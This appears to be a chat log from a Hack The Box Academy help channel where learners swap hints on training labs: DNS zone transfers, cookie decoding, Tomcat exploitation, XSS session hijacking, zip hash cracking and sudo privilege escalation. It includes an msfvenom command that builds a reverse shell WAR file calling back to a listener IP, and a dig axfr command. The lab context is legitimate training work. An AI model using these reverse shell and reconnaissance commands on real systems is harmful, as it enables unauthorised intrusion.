When you say find all the zones, you're talking about through zone transfers, right? Like executing dig axfr <dnsZone> @<dnsIP>
Remember that you can configure zones so that they do not allow a zone transfer from everyone
anybody?
I was able to decode the cookie using the tool on CyberChef, but I am not sure why I am not getting the same value when I use the Burp Suite tool to try to decode the cookie.
https://academy.hackthebox.com/module/110/section/1055
" The /admin.php page uses a cookie that has been encoded multiple times. Try to decode the cookie until you get a value with 31-characters. Submit the value as the answer. "
didn’t do this module but do u have to select Hex option in burp decode
WTF
3h lost with that shit
was a bug
thanks....
repair that module...
or that section: WINDOWS PRIVILEGE ESCALATION / Other Files
Since this is also the answer to the question I would have remove the message
I recall reading that, but I'm not sure how I can know which hosts can do that without access to the DNS server and the config files stored there
Just try transferring to all of them.
Was that a reply to me?
Gotcha. I did try that and that didn't yield any success, but I can try again tonight
Well tools can be used against subdomains
So, much like trying to axfr to subdomains, you can iterate through a list of subdomains for the tool
Are you thinking of dnsenum with a list of subdomains?
Okay . . .
Ok let's walk through this
First step; you zone transfer to base domain, and don't find the answer
Second step; you try transferring to subdomains you find
Third; tools to bruteforce
Thank you for clarifying. I've done those steps, which led me to solutions to the other questions, just struggling with the last one.
Well, who says you're limited to using just the domain for the bruteforce tool, maybe subdomains can work too
Good point, I don't think I've tried that, I will give that a go tonight. Thank you for your help!
hello i am doing Linux Local Privilege Escalation - Skills Assessment and i need help with the 5th flag, i got a web shell from the tomcat but i cannot make a reverse shell
metasploit has a module for tomcat. use that
it has move than 30 modules and i tried like 10 of them allready, can you hint me so i can be on my way
it should be the authenticated code execution
if they don't work, you can always use msfvenom
create a war file payload
i did msfvenom but when i try to trigger runme war it just does nothing and the listener is running on metasploit
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.52 LPORT=4444 -f war > runme.war
Started reverse TCP handler on 10.10.16.52:4444
try setting your LHOST to 0.0.0.0 in msfconsole
i did, no reverse shell
oh i see the issue
for your msfvenom command, set the payload to a linux reverse tcp, like linux/x64/meterpreter/reverse_tcp
then try again with this payload in msfconsole
exploit/multi/handler
HTTP Status 404 – Not Found when i click on the payload
and no shell
You should check out the shells & payloads module
This is explained quite well there along with a cheatsheet
does it say "the requested resource is not available"
I have a question regarding the XSS module - Session hijacking section.
I found the cookie, where do I input it on the login.php?
i click on my shell but it just loads to infinity and no reverse shell
i'm not sure what you mean by that
you upload the war file then you click on it, it doesn't load?
You could use the cookie editor extension or just fix in the cookie name and value with dev console in storage section
i had to look at ippsec's video again just to make sure i wasn't tripping
and i wasn't, i just forgot a step
this does work
unable to crack .zip file
from password attack module
you just need to navigate to the JSP
In the module it shows you an example on how to add the cookie with its name and value using dev tools in the browser
try --show you have probably cracked a similar hash before I guess
uploaded as what type of file?
a war file
specify the format --format=
is your rockyou right? I doubt it will go through the full rockyou with 4 threads in 2 secs
I personally dont use john for cracking zips, too slow, check this out https[:]//github.com/BoboTiG/cracker-ng
and no need to extract the hash from the zip as well lol
spoilers.
why are you telling me about sudo
ok, but what might be the problem in my case
the 5ts flag is in /root folder
why use this when hashcat exists
also you're spoiling the module content
when you use a vm, thats where it comes in.
just dont use a vm for hashcat 
Mine doesnt have much resources
welp, my current pc setup doesnt really support hashcat 😂
ah unfortunate
i cant get root, i got the shell but no root, ChatGPT is also stuck
God morning everyone! I was hoping to get some direction on the Offshore Pro Lab? Not sure if this is the right chat. Thanks!
verify your account in #welcome then you can access #prolabs-offshore
How do I verify my account?
check #welcome
you already have what you need
you even pinged me with it
bro look at the gtfobin and run the sudo command and see if u get root lol
i know what to search for but for some reason it doesent work
"for some reason it doesn't work" likely means you're doing it wrong
but it also isn't an error
@faint rampart my frnd never knew that you had CPTS 😄
Happy to know that!
well i found the sh from the command in /usr/bin/sh and changed the command but still it doesent work, i get no root.
The path is different.
The original command doesent work the updated command doesent work.
I guess i miss something.
Guys how long do your nmap scans usually take?
when i provide the wordlist , bruteforce doesnot work
but when i donot provide it works
why
depends on your network connection, type of nmap scan
for CTFs, doing faster can be good!
until it misses one port that is important 💀
did you try the mutated list in the module
maybe its the version u are running?
I understand differences between different types but damn gues my connection is weak af
yes, didnt work
whole thing stops in 00:00:00:00
no root from original command and updated version. Still on tomcat user
maybe look at config files tbh i forgot what i did lol i remember not doing it the intended route and still passing it
they changed a lot on the system thats why GFTObins doesent work straight out of the box
it has nothing to do with changes on the system
I doubt they changed the lab environment that much to make the intended method invalid
than why sudo doesent work ?
Its a straight forward command
sudo /path/to/binary <insert privesc part here>
i just finished the skills assessment
i think this all boils down to some kind of server issue
use EU server
or you are doing something wrong
i am on a EU server
i guess i am doing something wrong
i deleted it
i saw the image
did you have to specify the full bin path or no
no, it's already in PATH
enough for today, i am tiered from work.
But i got further than yesterday
i mean it's as simple as copy/paste yeah?
thanks for the help guys.
u can show us the command u did so we can see what u doing could be wrong
but till tmmr 🤷♂️
but still i was tomcat
i have saved steps, so i can continue tomorrow from the shell
and try again
did you have to edit the command any?
no
i'd delete this still as it's spoiler
ok
i upgraded to python3 tty, idk if that has anything to do with it
hm... a clue

